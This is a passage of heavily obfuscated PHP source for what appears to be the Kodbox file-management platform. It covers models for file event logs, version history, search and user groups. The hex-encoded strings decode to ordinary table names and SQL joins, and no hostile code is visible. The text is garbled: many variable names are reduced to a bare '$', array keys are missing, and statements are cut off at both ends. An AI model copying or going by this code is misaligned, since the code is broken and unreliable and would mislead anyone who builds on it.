$𨨒->sourceInfo($); $ = $𨨒->sourceInfo($); $ȏ = $𨨒->sourceInfo($); $͍ = array($[1145] => $, $[2034] => $[$[32]], $[2013] => !empty($[$[519]]) ? $[$[519]] : $[12], $[1146] => $, $[2035] => $ȏ[$[32]], $[2036] => !empty($ȏ[$[519]]) ? $ȏ[$[519]] : $[12]); $this->addEvent($, $[551], $͍); $Ʌ = $𨨒->sourceInfo($); $͍ = array($[403] => $Ʌ[$[403]], $[32] => $Ʌ[$[32]]); $this->addEvent($, $[2037], $͍); } public function eventCopy($Ů) { $this->eventCreate($Ů, $_SERVER[][549]); } public function eventRename($, $, $) { $ =& $_SERVER[]; $ = array($[1145] => $, $[1146] => $); return $this->addEvent($, $[1327], $); } public function eventAddComment($Ҭ, $) { return $this->addEvent($Ҭ, $_SERVER[][2038], $); } public function eventAddDesc($, $) { return $this->addEvent($, $_SERVER[][2039], $); } public function listBySource($) { $Չ =& $_SERVER[]; $ = Model($Չ[1312])->sourceInfo($); $܌ܚ = array($Չ[418] => $); if ($[$Չ[411]] == $Չ[89]) { $Ռ = Model($Չ[1312])->listSearchChildren($, 20000); $Ռ[] = $ . $Չ[373]; $܌ܚ = array($Չ[403] => array($Չ[7], $Ռ)); } $ = $this->where($܌ܚ)->order($Չ[2040])->selectPage(); if ($[$Չ[361]][$Չ[362]] == 0) { $[$Չ[361]][$Չ[362]] = 1; $[$Չ[364]] = array(array($Չ[418] => $, $Չ[2022] => $[$Չ[498]], $Չ[1633] => $[$Չ[452]], $Չ[423] => $Չ[2041], $Չ[424] => $[$Չ[193]], $Չ[1635] => $Չ[12])); } return $this->eventListParse($, $); } private function eventListParse($̀, $ݠ) { $ז =& $_SERVER[]; $ = $̀[$ז[364]]; $鳪 = array_to_keyvalue($, $ז[12], $ז[403]); $Ӭ = array_to_keyvalue($, $ז[12], $ז[2028]); foreach ($ as $𮣞) { $Ԥ = $𮣞[$ז[451]]; if ($𮣞[$ז[33]] == $ז[551] && isset($Ԥ[$ז[1145]])) { $鳪[] = $Ԥ[$ז[1145]] . $ז[12]; $鳪[] = $Ԥ[$ז[1146]] . $ז[12]; } if ($𮣞[$ז[33]] == $ז[2037] && isset($Ԥ[$ז[403]])) { $鳪[] = $Ԥ[$ז[403]] . $ז[12]; } } $鳪 = array_merge($鳪, $Ӭ, array($ݠ . $ז[12])); $鳪 = array_unique($鳪); $ﲋ = array_unique(array_to_keyvalue($, $ז[12], $ז[1642])); $緢 = Model($ז[538])->userListInfo($ﲋ); $Ȩ = Model($ז[818])->sourceListInfo($鳪, !0); foreach ($ as &$𮣞) { if ($𮣞[$ז[33]] == $ז[551] && isset($𮣞[$ז[451]][$ז[1145]])) { $𮣞[$ז[451]][$ז[1145]] = $Ȩ[$𮣞[$ז[451]][$ז[1145]]]; $𮣞[$ז[451]][$ז[1146]] = $Ȩ[$𮣞[$ז[451]][$ז[1146]]]; } if ($𮣞[$ז[33]] == $ז[2037] && isset($𮣞[$ז[451]][$ז[403]])) { $𮣞[$ז[451]][$ז[403]] = $Ȩ[$𮣞[$ז[451]][$ז[403]]]; } $𮣞[$ז[87]] = $Ȩ[$𮣞[$ז[403]]]; $𮣞[$ז[2042]] = $Ȩ[$𮣞[$ז[2028]]]; if ($𮣞[$ז[33]] == $ז[1779]) { $𮣞[$ז[2042]] = $𮣞[$ז[87]]; $𮣞[$ז[2028]] = $𮣞[$ז[2042]][$ז[403]]; $𮣞[$ז[87]] = !1; $𮣞[$ז[403]] = $ז[12]; } $𮣞[$ז[1973]] = $緢[$𮣞[$ז[1642]]]; } unset($𮣞); $̀[$ז[364]] = $; return $̀; } public function removeBySource($) { $ = array($_SERVER[][418] => $); $this->where($)->remove(); } } class SourceHistoryModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\x73\x6f\165\x72\143\145\x5f\x68\x69\163\164\x6f\162\x79"; public function historyCount($) { $檛 =& $_SERVER[]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $ۀ = array($檛[403], $檛[1842] => $檛[500]); $㾏ͺ = array($檛[403] => array($檛[7], $)); $̅Ρ = $this->field($ۀ)->where($㾏ͺ)->group($檛[403])->select(); return array_to_keyvalue($̅Ρ, $檛[403], $檛[500]); } public function addHistory($, $ݔ = '') { $ =& $_SERVER[]; $Ƭ = array($[418] => $[$[403]], $[1633] => isset($[$[454]]) ? $[$[454]] : $[$[452]], $[468] => $[$[467]], $[579] => $[$[80]], $[2043] => $ݔ); $ = $GLOBALS[$[6]][$[90]][$[1194]]; if ($ > 1) { $this->historyAutoClear($Ƭ[$[403]]); $this->add($Ƭ); } Hook::trigger($[2044], $Ƭ); Model($[2045])->eventFileEdit($[$[403]]); } private function historyAutoClear($ߴí) { $Ҿ =& $_SERVER[]; $ϧ = Model($Ҿ[763])->get($Ҿ[1216]); $񧗁 = $GLOBALS[$Ҿ[6]][$Ҿ[90]][$Ҿ[1194]]; $ʜ = $ϧ == $Ҿ[1217] ? 5 : $񧗁; if ($񧗁 <= 1) { $ʜ = 1; } if ($ʜ >= 500) { return; } $Ê = array($Ҿ[418] => $ߴí); $ = $this->field($Ҿ[2046])->where($Ê)->order($Ҿ[2040])->select(); if (!$ || $ʜ >= count($)) { return; } $ܞ = array_to_keyvalue($, $Ҿ[12], $Ҿ[401]); $ܞ = array_slice($ܞ, $ʜ); $ = array_to_keyvalue($, $Ҿ[12], $Ҿ[467]); $ = array_slice($, $ʜ); if (!$ܞ || !$) { return; } $Ê = array($Ҿ[420] => array($Ҿ[7], $ܞ)); $this->where($Ê)->delete(); Model($Ҿ[470])->remove($); } public function listData($ԣ) { $ת =& $_SERVER[]; $‚ = array($ת[418] => $ԣ); $ɥО = $ת[2047]; $Ɂ = $this->field($ɥО)->where($‚)->order($ת[2040])->selectPage(); $this->_listAppendUser($Ɂ[$ת[364]]); $Ϲϳ = Model($ת[763])->get($ת[1216]); $؟ҋ = 5; if ($Ϲϳ == $ת[1217]) { $Ɂ[$ת[364]] = array_slice($Ɂ[$ת[364]], 0, $؟ҋ); $Ɂ[$ת[361]] = array($ת[2048] => 1, $ת[2049] => 20, $ת[2050] => 1, $ת[2051] => count($Ɂ[$ת[364]])); } return $Ɂ; } protected function _listAppendUser(&$̌) { $ =& $_SERVER[]; $䍖ʖ = array_to_keyvalue($̌, $[12], $[1642]); $ = Model($[538])->userListInfo($䍖ʖ); foreach ($̌ as &$) { $ = $[$[1642]]; $[$[452]] = $[$] ? $[$] : !1; } unset($); } public function fileInfo($ә) { $ =& $_SERVER[]; $ = $this->tablePrefix; $ن = "{$}\x69\157\137\146\x69\154\x65\x20\x66\151\154\145\163\x20\157\x6e\x20\x66\151\x6c\x65\163\56\146\x69\154\145\111\x44\x20\x3d\40\x68\x69\x73\x74\157\162\171\x2e\x66\151\x6c\x65\111\104"; return $this->alias($[2052])->where(array($[420] => $ә))->join($ن, $[2053])->find(); } public function removeItem($а) { $̙ =& $_SERVER[]; $ = array($̙[420] => $а); $ް = $this->where($)->find(); if ($ް) { $Ƹ = $this->where($)->delete(); Model($̙[470])->remove($ް[$̙[467]]); return $Ƹ; } return !1; } public function removeBySource($٪) { $„ =& $_SERVER[]; if (!$٪) { return !1; } if (!is_array($٪)) { $٪ = array($٪); } $ؙ = array($„[418] => array($„[7], $٪)); $検 = $this->field($„[468])->where($ؙ)->select(); if ($検) { $this->where($ؙ)->delete(); $ = array_to_keyvalue($検, $„[12], $„[467]); Model($„[470])->remove($); } return !0; } public function setDetail($ʅĵ, $Ξ) { $ =& $_SERVER[]; return $this->where(array($[420] => $ʅĵ))->save(array($[2043] => $Ξ)); } public function rollbackToItem($׵, $Ė) { $̟ =& $_SERVER[]; $ = Model($̟[818])->sourceInfo($׵); $this->addHistory($, LNG($̟[2054])); $ = $this->find($Ė); $ = array($̟[467] => $[$̟[467]], $̟[80] => $[$̟[80]], $̟[86] => time(), $̟[454] => USER_ID); Model($̟[818])->where(array($̟[403] => $׵))->save($); return $this->where(array($̟[420] => $Ė))->delete(); } public function clearSame($) { $ק =& $_SERVER[]; $ = $this->listData($); $ݚ = array_to_keyvalue_group($, $ק[467]); $ = array(); $ϱ = array(); foreach ($ݚ as $֊) { if (!$֊ || count($֊) <= 1) { continue; } foreach ($֊ as $) { $[] = $[$ק[467]]; $ϱ[] = $[$ק[401]]; } } if (!$ϱ) { return; } $this->where(array($ק[401] => array($ק[7], $ϱ)))->delete(); Model($ק[470])->remove($); } public function userSpace() { $ =& $_SERVER[]; $ǟƝ = $this->tablePrefix; $ = array($[1633] => USER_ID); $雌 = "{$ǟƝ}\151\x6f\137\146\151\x6c\x65\x20\x66\x69\154\145\x73\40\157\156\x20\146\x69\x6c\145\163\56\146\151\x6c\x65\111\x44\40\75\x20\150\151\163\x74\157\162\x79\56\146\151\x6c\x65\111\x44"; return $this->alias($[2052])->where($)->join($雌, $[2053])->sum($[80]); } } class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($׍) { $⦼ =& $_SERVER[]; $ = KodIO::fileTypeList(); $ܱ = $[$׍]; if (!$ܱ) { return array(); } $ = $ܱ[$⦼[167]]; $ϭ = $⦼[7]; if (!$ܱ[$⦼[167]]) { $䞕 = array_to_keyvalue($, $⦼[12], $⦼[167]); $ = implode($⦼[50], $䞕); $ϭ = $⦼[2055]; } $Ύ = explode($⦼[50], trim($, $⦼[50])); return array($ϭ, $Ύ); } public function listPathType($ݒ) { $Á =& $_SERVER[]; $ = $this->fileTypeWhere($ݒ); if (!$) { return array(); } $括 = array($Á[580] => SourceModel::TYPE_USER, $Á[581] => USER_ID, $Á[577] => 0, $Á[578] => $); return $this->listSource($括); } public function listSearch($, $ = 300) { $ =& $_SERVER[]; if (isset($[$[1901]]) && $[$[1901]]) { $[$[1901]] = str_replace($[379], $[2056], trim($[$[1901]])); } $Ɲ = $this->_parseSearchWhere($); $х = $Ɲ; if (!isset($Ɲ[$[431]])) { $Ɲ[$[431]] = 0; } $Ƽ = $[2057]; $鲇Ä = $Ƽ; $this->_listSearchBindPinyin($, $Ɲ, $Ƽ); $this->alias($[444])->_makeOrder(); $Ɲ = $this->parseWhereLike($Ɲ); $ = $this->distinct(!0)->field($Ƽ)->where($Ɲ)->selectPage($); $this->_listSearchFileContent($, $, $鲇Ä, $х); $this->_listSearchDesc($, $, $鲇Ä); $this->_listSearchTag($, $, $鲇Ä); $this->_listSearchGroupTag($, $, $鲇Ä); $this->_listDataApply($[$[364]]); $this->_listMake($); return $; } private function _listSearchFileContent(&$, $Ҕ, $߮, $Ռ) { $ܩ깒 =& $_SERVER[]; if (!$Ҕ[$ܩ깒[1901]] || $[$ܩ깒[361]][$ܩ깒[348]] > 1) { return; } if (!isset($Ռ[$ܩ깒[32]]) || !is_array($Ҕ[$ܩ깒[467]])) { return; } $Ռ[$ܩ깒[467]] = array($ܩ깒[7], $Ҕ[$ܩ깒[467]]); unset($Ռ[$ܩ깒[32]]); unset($Ҕ[$ܩ깒[467]]); $ = $this->field($߮)->where($Ռ)->limit($ܩ깒[2058])->select(); if (!$ || count($) == 0) { return; } $[$ܩ깒[364]] = array_merge($, $[$ܩ깒[364]]); $[$ܩ깒[361]][$ܩ깒[362]] += count($); } private function _listSearchTag(&$, $, $߳ٺ) { $ε =& $_SERVER[]; if (!$[$ε[1901]] || $[$ε[361]][$ε[348]] > 1) { return; } $񣂬 = Model($ε[2059])->listData(); $ִ = array(); $ܔ = $[$ε[1901]]; foreach ($񣂬 as $Ʒ) { $ = $Ʒ[$ε[32]]; $͌ = str_replace($ε[53], $ε[12], Pinyin::get($)); if (stripos($, $ܔ) !== !1 || stripos($͌, $ܔ) !== !1) { $ִ[] = $Ʒ[$ε[401]]; } } if (!$ִ) { return; } $߶ = array($ε[427] => array($ε[7], $ִ), $ε[1642] => USER_ID); $ = Model($ε[428])->field($ε[78])->where($߶)->select(); $ = array_to_keyvalue($, $ε[12], $ε[78]); $ = array_unique($); $this->_listSearchMerge($, $, $߳ٺ, $); } private function _listSearchDesc(&$ԣ, $멤, $啃ܣ) { $ķ =& $_SERVER[]; if (!$멤[$ķ[1901]] || $ԣ[$ķ[361]][$ķ[348]] > 1) { return; } $ = $this->listSearchChildren($멤[$ķ[498]]); $ = array_unique($); if (!$) { return; } $ѱ = array($ķ[403] => array($ķ[7], $), $ķ[95] => $ķ[451], $ķ[369] => array($ķ[378], $ķ[1903] . $멤[$ķ[1901]] . $ķ[1903])); $Ŷ = Model($ķ[563])->field($ķ[403])->where($ѱ)->select(); $ = array_to_keyvalue($Ŷ, $ķ[12], $ķ[403]); $this->_listSearchMerge($ԣ, $멤, $啃ܣ, $); } private function _listSearchGroupTag(&$Ֆ, $, $߈) { $ѹ =& $_SERVER[]; if (!$[$ѹ[1901]] || $Ֆ[$ѹ[361]][$ѹ[348]] > 1 || !$[$ѹ[498]]) { return; } $׬ = $this->sourceInfo($[$ѹ[498]]); if (!$׬ || $׬[$ѹ[412]] != SourceModel::TYPE_GROUP) { return; } $ְ = $׬[$ѹ[504]]; $⻋ = Model($ѹ[2060])->get($ְ); $׿ = array(); $ = $[$ѹ[1901]]; foreach ($⻋[$ѹ[364]] as $) { $ϡ = $[$ѹ[32]]; $鞳 = str_replace($ѹ[53], $ѹ[12], Pinyin::get($ϡ)); if (stripos($ϡ, $) !== !1 || stripos($鞳, $) !== !1) { $׿[] = $[$ѹ[401]]; } } if (!$׿) { return; } $ = array($ѹ[427] => array($ѹ[7], $׿), $ѹ[1642] => 0, $ѹ[33] => $ѹ[1923] . $ְ); $ = Model($ѹ[428])->field($ѹ[78])->where($)->select(); $ = array_to_keyvalue($, $ѹ[12], $ѹ[78]); $К = array_unique($); $this->_listSearchMerge($Ֆ, $, $߈, $К); } private function _listSearchMerge(&$, $̤, $, $䃊) { $ߺ =& $_SERVER[]; if (!$䃊) { return; } $ = array_to_keyvalue($[$ߺ[364]], $ߺ[12], $ߺ[403]); $ = array_diff($䃊, $); if (!$) { return; } $֪ = array($ߺ[403] => array($ߺ[7], $)); $焼Џ = $this->field($)->where($֪)->select(); if (!$焼Џ) { return; } $Σ = array(); foreach ($焼Џ as $) { if ($this->_listSearchFilter($, $̤)) { $Σ[] = $; } } $[$ߺ[364]] = array_merge($Σ, $[$ߺ[364]]); $[$ߺ[361]][$ߺ[362]] += count($Σ); } private function _listSearchFilter($, $Ɔ) { $ۗΠ =& $_SERVER[]; $ = $[$ۗΠ[411]] == $ۗΠ[89]; if (!strstr($[$ۗΠ[521]], $ۗΠ[50] . $Ɔ[$ۗΠ[498]] . $ۗΠ[50])) { return !1; } if (isset($Ɔ[$ۗΠ[413]]) && $Ɔ[$ۗΠ[413]] != $ۗΠ[1864]) { if ($Ɔ[$ۗΠ[413]] == $ۗΠ[79] && !$) { return !1; } if ($Ɔ[$ۗΠ[413]] != $ۗΠ[79] && $) { return !1; } if (!strstr($[$ۗΠ[167]], $ۗΠ[50] . $Ɔ[$ۗΠ[413]] . $ۗΠ[50])) { return !1; } } if (isset($Ɔ[$ۗΠ[2061]]) && $Ɔ[$ۗΠ[2061]] < $[$ۗΠ[80]]) { return !1; } if (isset($Ɔ[$ۗΠ[2062]]) && $Ɔ[$ۗΠ[2062]] > $[$ۗΠ[80]]) { return !1; } if (isset($Ɔ[$ۗΠ[594]]) && $Ɔ[$ۗΠ[594]] != $[$ۗΠ[454]]) { return !1; } return !0; } public function listSearchChildren($ց, $Ն = 5000) { $彨 =& $_SERVER[]; $ύ = array(); $ޅ = $this->sourceInfo($ց); $ = array($彨[521] => array($彨[378], $ޅ[$彨[521]] . $ޅ[$彨[403]] . $彨[545])); $ = $this->field($彨[80])->where($)->limit($Ն + 1)->select(); $ؖ = is_array($) ? count($) : 0; if ($ؖ > $Ն) { return $this->_listSearchChildrenNear($ց, $Ն); } $ߤ = $this->field($彨[403])->where($)->select(); $ύ = array_to_keyvalue($ߤ, $彨[12], $彨[403]); return $ύ; } private function _listSearchChildrenNear($起, $) { $ =& $_SERVER[]; $ = array(); $ = array($[498] => $起); $홻 = $this->field($[2063])->where($)->select(); $ = array_to_keyvalue(array_filter_by_field($홻, $[411], $[89]), $[12], $[403]); $ = array_merge($, array_to_keyvalue($홻, $[12], $[403])); if (!$) { return $; } $ = array($[498] => array($[7], $)); $홻 = $this->field($[2063])->where($)->limit($)->select(); $ = array_merge($, array_to_keyvalue($홻, $[12], $[403])); $ = array_slice($, 0, $); return $; } private function _listSearchBindPinyin($þӎ, &$ʲ, &$̈́) { $ը =& $_SERVER[]; if (!isset($þӎ[$ը[1901]]) || !$þӎ[$ը[1901]]) { return; } if (!Input::check($þӎ[$ը[1901]], $ը[313]) || strlen($þӎ[$ը[1901]]) < 2) { return; } $ = "\x4c\x45\x46\124\40\x4a\x4f\x49\x4e\40{$this->tablePrefix}\x69\x6f\137\x73\x6f\165\162\143\x65\x5f\155\145\x74\141\x20\x6d\145\164\141\40\x6f\x6e\40\x73\157\x75\x72\143\145\x2e\x73\x6f\165\162\143\145\111\x44\40\x3d\x20\x6d\x65\x74\x61\x2e\x73\157\x75\162\143\x65\x49\x44"; $ = array(); $̈́ = str_replace(array($ը[226], $ը[53], $ը[2064]), $ը[12], $̈́); $̈́ = $ը[436] . str_replace($ը[50], $ը[437], $̈́); $Ʀ = $ʲ[$ը[32]]; unset($ʲ[$ը[32]]); foreach ($ʲ as $ => $) { $[$ը[436] . $] = $; } foreach ($Ʀ as $) { $[] = array($ը[441] => $, $ը[987] => $ը[1905], array($ը[2065] => $, $ը[2066] => array($ը[7], array($ը[464], $ը[463])))); } $this->join($); $ʲ = $; } private function _parseSearchWhere($) { $⚊Ț =& $_SERVER[]; $׽ = array(); if (isset($[$⚊Ț[754]]) && $[$⚊Ț[754]]) { $׽[$⚊Ț[86]] = array($⚊Ț[2067], $[$⚊Ț[754]]); } if (isset($[$⚊Ț[496]]) && $[$⚊Ț[496]]) { $ڣӜ = array($⚊Ț[2068], $[$⚊Ț[496]]); if ($׽[$⚊Ț[86]]) { $׽[$⚊Ț[86]] = array($׽[$⚊Ț[86]], $ڣӜ, $⚊Ț[2069]); } else { $׽[$⚊Ț[86]] = $ڣӜ; } } if (isset($[$⚊Ț[2061]]) && $[$⚊Ț[2061]] > 0) { $׽[$⚊Ț[80]] = array($⚊Ț[2067], $[$⚊Ț[2061]]); } if (isset($[$⚊Ț[2062]]) && $[$⚊Ț[2062]]) { $ڣӜ = array($⚊Ț[2068], $[$⚊Ț[2062]]); if ($׽[$⚊Ț[80]]) { $׽[$⚊Ț[80]] = array($׽[$⚊Ț[80]], $ڣӜ, $⚊Ț[2069]); } else { $׽[$⚊Ț[80]] = $ڣӜ; } } if (isset($[$⚊Ț[594]]) && $[$⚊Ț[594]]) { $׽[] = array($⚊Ț[454] => $[$⚊Ț[594]], $⚊Ț[452] => $[$⚊Ț[594]], $⚊Ț[987] => $⚊Ț[1905]); } if (isset($[$⚊Ț[413]]) && $[$⚊Ț[413]]) { $창 = $[$⚊Ț[413]]; if ($창 == $⚊Ț[79]) { $׽[$⚊Ț[411]] = 1; } else { if ($창 == $⚊Ț[2070]) { $׽[$⚊Ț[411]] = 0; } else { if ($창) { $창 = is_array($창) ? $창 : explode($⚊Ț[50], $창); $׽[$⚊Ț[413]] = array($⚊Ț[419], $창); $׽[$⚊Ț[411]] = 0; } } } } $this->_parseSearchParent($, $׽); if (isset($[$⚊Ț[1901]]) && trim($[$⚊Ț[1901]])) { $ = trim($[$⚊Ț[1901]]); $ؒ = explode($⚊Ț[53], $); if (strlen($) > 2 && (substr($, 0, 1) == $⚊Ț[117] && substr($, -1) == $⚊Ț[117]) || substr($, 0, 1) == $⚊Ț[58] && substr($, -1) == $⚊Ț[58]) { $ = substr($, 1, -1); $ؒ = array($); } $׽[$⚊Ț[32]] = array(array($⚊Ț[544], $⚊Ț[1903] . $ . $⚊Ț[1903])); if (count($ؒ) > 1) { $׽[$⚊Ț[32]] = array(); foreach ($ؒ as $) { if (!trim($)) { continue; } $׽[$⚊Ț[32]][] = array($⚊Ț[544], $⚊Ț[1903] . trim($) . $⚊Ț[1903]); } } } return $׽; } private function _parseSearchParent($Ń, &$) { $𭆥 =& $_SERVER[]; if (!isset($Ń[$𭆥[498]]) || !$Ń[$𭆥[498]]) { return; } $ = $this->pathInfo($Ń[$𭆥[498]]); $钓 = $[$𭆥[498]] . $𭆥[12] === $𭆥[190]; $ԑ = $[$𭆥[412]] == $𭆥[515]; $[$𭆥[584]] = array($𭆥[544], $[$𭆥[521]] . $Ń[$𭆥[498]] . $𭆥[545]); $ = isset($Ń[$𭆥[1769]]) && in_array($𭆥[515], $Ń[$𭆥[1769]]); if (!$ || !$ԑ || !$钓 || !$[$𭆥[414]]) { return; } if (!AuthModel::authCheckRoot($[$𭆥[414]][$𭆥[415]])) { return; } $ϲ = $[$𭆥[504]] . $𭆥[12]; if ($ϲ == $𭆥[89]) { unset($[$𭆥[584]]); $[$𭆥[412]] = self::TYPE_GROUP; return; } $ = Model($𭆥[522])->groupChildrenAll($ϲ); $܅ = count($); if ($܅ <= 1) { return; } $ = array($𭆥[498] => 0, $𭆥[412] => self::TYPE_GROUP, $𭆥[504] => array($𭆥[7], $)); $ = $this->field($𭆥[2071])->where($)->limit($܅)->select(); $[$𭆥[584]] = array(); foreach ($ as $) { $[$𭆥[584]][] = array($𭆥[544], $𭆥[531] . $[$𭆥[403]] . $𭆥[545]); } $[$𭆥[584]][] = $𭆥[1905]; } } goto A; e: class GroupModel extends ModelBase { protected $tableName = "\x67\x72\157\165\160"; protected $tableMeta = array("\164\x61\142\x6c\x65\x4e\x61\155\x65" => "\147\162\157\x75\x70\137\155\x65\x74\141", "\155\x65\x74\141\106\151\x65\154\144" => "\147\162\x6f\x75\x70\x49\104"); protected function cacheFunctionAlias($) { $ =& $_SERVER[]; return array($[1887] => array($[0], $[1888]), $[1889] => array($[0], $[1890])); } protected function getInfo($, $笽 = false) { $ݫ = $this->getInfoSimple($); if (!$ݫ) { return !1; } if ($笽) { return $this->_listDataApplyItem($ݫ); } return $this->cacheFunctionGet($_SERVER[][1891], $); } protected function getInfoSimple($˹, $ = false) { $ =& $_SERVER[]; if ($) { $ = array($[1810] => intval($˹)); $ = $this->where($)->find(); return is_array($) ? $ : array(); } return $this->cacheFunctionGet($[1892], $˹); } protected function groupAdd($Ճ) { $ێ =& $_SERVER[]; if (!$Ճ[$ێ[498]] && isset($Ճ[$ێ[1810]]) && $Ճ[$ێ[1810]] == 1) { if ($ص = $this->getInfoSimple($Ճ[$ێ[1810]], !0)) { return $Ճ[$ێ[1810]]; } } else { $ص = $this->getInfoSimple($Ճ[$ێ[498]]); if (!$ص) { return !1; } } $Ҟл = $ێ[531]; if ($ص[$ێ[521]]) { $Ҟл = $ص[$ێ[521]] . $ص[$ێ[1810]] . $ێ[50]; } $ = array($ێ[421] => $this->groupNameAuto($Ճ[$ێ[498]], $Ճ[$ێ[32]]), $ێ[402] => $Ճ[$ێ[498]], $ێ[584] => $Ҟл, $ێ[1893] => $Ճ[$ێ[1797]], $ێ[1894] => 0, $ێ[1814] => 0); if (isset($Ճ[$ێ[1833]])) { $[$ێ[1833]] = $Ճ[$ێ[1833]]; } else { $馆 = $this->max($ێ[1833]); if (!$馆) { $馆 = 0; } $[$ێ[1833]] = $馆 + 1; } if (!empty($Ճ[$ێ[1810]])) { $[$ێ[1810]] = $Ճ[$ێ[1810]]; } $ܫ = $this->add($); $this->setNamePinyin($ܫ, $[$ێ[32]]); if (isset($Ճ[$ێ[1895]])) { $this->metaSet($ܫ, array($ێ[1895] => $Ճ[$ێ[1895]], $ێ[1896] => $Ճ[$ێ[1896]])); unset($Ճ[$ێ[1895]]); unset($Ճ[$ێ[1896]]); } Model($ێ[1312])->groupRootAdd($ܫ); return $ܫ; } protected function groupEdit($, $ؒ) { $հ =& $_SERVER[]; $Ǎ = $this->getInfoSimple($); if (!$Ǎ) { return !1; } if (!empty($ؒ[$հ[498]])) { $ = $this->getInfoSimple($ؒ[$հ[498]]); if (!$) { return !1; } if ($Ǎ[$հ[1810]] == $[$հ[1810]]) { return !1; } if ($ؒ[$հ[498]] != $Ǎ[$հ[498]]) { if ($[$հ[521]] !== $Ǎ[$հ[521]] && strpos($[$հ[521]], $Ǎ[$հ[521]] . $Ǎ[$հ[1810]] . $հ[50]) === 0) { return !1; } $ؒ[$հ[584]] = $[$հ[521]] . $ؒ[$հ[498]] . $հ[50]; $this->_changeChildLevel($Ǎ, $); } } if (isset($ؒ[$հ[32]])) { $this->setNamePinyin($, $ؒ[$հ[32]]); } if (isset($ؒ[$հ[1895]])) { $this->metaSet($, array($հ[1895] => $ؒ[$հ[1895]], $հ[1896] => $ؒ[$հ[1896]])); unset($ؒ[$հ[1895]]); unset($ؒ[$հ[1896]]); } $this->_clearChildrenCache($Ǎ); return $this->where(array($հ[1897] => $))->save($ؒ); } private function _clearChildrenCache($) { $ =& $_SERVER[]; $̓ = array($[584] => array($[544], $[$[521]] . $[$[1810]] . $[545])); $يȪ = $this->field($[1810])->where($̓)->select(); foreach ($يȪ as $) { $this->_clearCache($[$[1810]]); } } private function _clearCache($) { $ۡ֠ =& $_SERVER[]; $this->cacheFunctionClear($ۡ֠[1891], $); $this->cacheFunctionClear($ۡ֠[1892], $); } private function _changeChildLevel($ޝ™, $ϼ, $ʊ = false) { $ۀ =& $_SERVER[]; $ = $ޝ™[$ۀ[521]] . $ޝ™[$ۀ[1810]] . $ۀ[50]; $ = $ϼ[$ۀ[521]] . $ϼ[$ۀ[1810]] . $ۀ[50] . $ޝ™[$ۀ[1810]] . $ۀ[50]; if ($ʊ) { $ = $ϼ[$ۀ[521]] . $ϼ[$ۀ[1810]] . $ۀ[50]; } $ = array($ۀ[584] => array($ۀ[544], $ޝ™[$ۀ[521]] . $ޝ™[$ۀ[1810]] . $ۀ[545])); $ = array($ۀ[584] => array($ۀ[593], "\162\145\160\154\141\143\145\50\160\141\x72\145\x6e\164\x4c\145\166\x65\154\54\47{$}\47\54\47{$}\x27\x29")); $this->_clearChildrenCache($ޝ™); $this->where($)->data($)->save(); } public function setNamePinyin($и֮, $Ґ = false) { $ =& $_SERVER[]; if (!$Ґ) { $ۦ = $this->getInfoSimple($и֮); $Ґ = $ۦ[$[32]]; } if (!Input::check($Ґ, $[587])) { $this->metaSet($и֮, $[464], null); $this->metaSet($и֮, $[463], null); return; } $Ί = array($[464] => str_replace($[53], $[12], Pinyin::get($Ґ)), $[463] => Pinyin::get($Ґ, $[588])); $this->metaSet($и֮, $Ί); } protected function groupStatus($òĻ, $˴) { $Ƃ =& $_SERVER[]; $Ď = $this->getInfoSimple($òĻ); if (!$Ď) { return !1; } if ($˴ == $Ƃ[89]) { $ʹ = $this->parentLevelArray($Ď[$Ƃ[521]]); } else { $ = array($Ƃ[584] => array($Ƃ[544], $Ď[$Ƃ[521]] . $Ď[$Ƃ[1810]] . $Ƃ[545])); $ʹ = $this->where($)->field($Ƃ[1810])->select(); $ʹ = array_to_keyvalue($ʹ, $Ƃ[12], $Ƃ[1810]); } $ʹ[] = $Ď[$Ƃ[1810]]; $đ = array(); foreach ($ʹ as $òĻ) { $đ[] = array($Ƃ[1810] => $òĻ, $Ƃ[95] => $Ƃ[743], $Ƃ[369] => $˴); $this->_clearCache($òĻ); } return Model($Ƃ[1898])->addAll($đ, array(), !0); } protected function groupRemove($Ǽ) { $ =& $_SERVER[]; $ = array($[1810] => $Ǽ); $䶺 = $this->where($)->find(); if (!$䶺 || $䶺[$[498]] == 0) { return !1; } $ = $this->getInfoSimple($䶺[$[498]]); $this->_changeChildLevel($䶺, $, !0); $this->where(array($[498] => $Ǽ))->save(array($[498] => $䶺[$[498]])); Model($[1898])->where($)->delete(); Model($[1899])->where($)->delete(); Model($[818])->groupRootRemove($Ǽ); return $this->where($)->delete(); } protected function groupSort($) { $ّ =& $_SERVER[]; $͹̋ = array(); foreach ($ as $̕ => $ב) { $͹̋[] = array($ّ[1810], $ב, $ّ[1833], $̕ + 1); } $this->saveAll($͹̋); } public function listData() { $Śؽ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($Śؽ[$_SERVER[][364]]); return $Śؽ; } private function _makeOrder($ = '') { $ =& $_SERVER[]; $ = array($[1810], $[32], $[1799], $[193]); $ = array($[448] => $[449], $[450] => $[451]); $ = Input::get($[455], $[7], $[1814], $); $݄ = Input::get($[456], $[7], $[1900], array($[1900], $[450])); $݄ = $[$݄]; $ = $ . "{$}\40{$݄}\x2c\40\147\x72\x6f\x75\x70\x49\x44\40\141\163\x63"; return $this->order($); } public function listChild($) { $ߙ =& $_SERVER[]; $ე = $this->where(array($ߙ[498] => $))->_makeOrder()->selectPage(200); $this->_listDataApply($ე[$ߙ[364]]); return $ე; } public function listByID($򙛯) { $̣ =& $_SERVER[]; if (!$򙛯) { return array(); } $ۦ = array($̣[1810] => array($̣[7], $򙛯)); $ = $this->where($ۦ)->select(); $ = array_sort_keep($, $̣[1810], $򙛯); $this->_listDataApply($); return $; } public function listSearch($ֺ) { $ =& $_SERVER[]; $ˌ = $ֺ[$[1901]]; $ = isset($ֺ[$[1902]]) ? $ֺ[$[1902]] : !1; if (!trim($ˌ)) { return !1; } $ˌ = str_replace($[1903], $[1904], $ˌ); $Ť = array($[1810] => array($[378], "{$ˌ}\x25"), $[32] => array($[378], "\45{$ˌ}\45"), $[987] => $[1905]); if ($) { $ = $this->getInfoSimple($); $פ = $[$[521]] . $ . $[545]; $Ť = array($Ť, array($[521] => array($[378], $פ))); } $Ť = $this->parseWhereLike($Ť); $ = $this->_makeOrder()->where($Ť)->selectPage(20); $ = $ ? $ : array($[364] => array(), $[361] => array()); if (!$ || count($[$[364]]) < 5 && Input::check($ˌ, $[313])) { $ꙿ = 